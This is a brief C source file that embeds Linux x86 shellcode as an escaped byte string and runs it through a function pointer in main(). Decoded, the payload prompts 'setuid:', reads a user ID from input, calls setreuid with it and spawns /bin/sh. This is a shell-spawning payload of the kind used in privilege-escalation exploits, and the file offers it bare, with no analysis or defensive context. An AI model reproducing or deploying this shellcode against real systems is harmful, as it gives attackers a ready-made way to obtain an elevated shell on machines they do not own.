char shellcode[] =
        "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x64\x3a\x20\x68\x73\x65"
        "\x74\x75\x89\xe1\xb2\x09\xb0\x04\xcd\x80\x31\xc0\x31\xdb\x31"
        "\xd2\x89\xe1\xb2\x04\xb0\x03\xcd\x80\x89\xe6\x01\xc6\x4e\x89"
        "\xc1\x31\xdb\x31\xff\x47\x31\xc0\x80\xf9\x01\x72\x1a\x80\x3e"
        "\x0a\x74\x11\x80\x2e\x30\x8a\x06\xf7\xe7\x01\xc3\x31\xc0\xb0"
        "\x0a\xf7\xe7\x89\xc7\x4e\x49\xeb\xdf\x89\xd8\x89\xc3\x31\xc0"
        "\xb0\x46\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
        "\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b"
        "\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
	void (*func)();

	printf("Size of shellcode: %d bytes.\n", sizeof(shellcode)-1);
	func = (void (*)()) &shellcode;
	func();
}

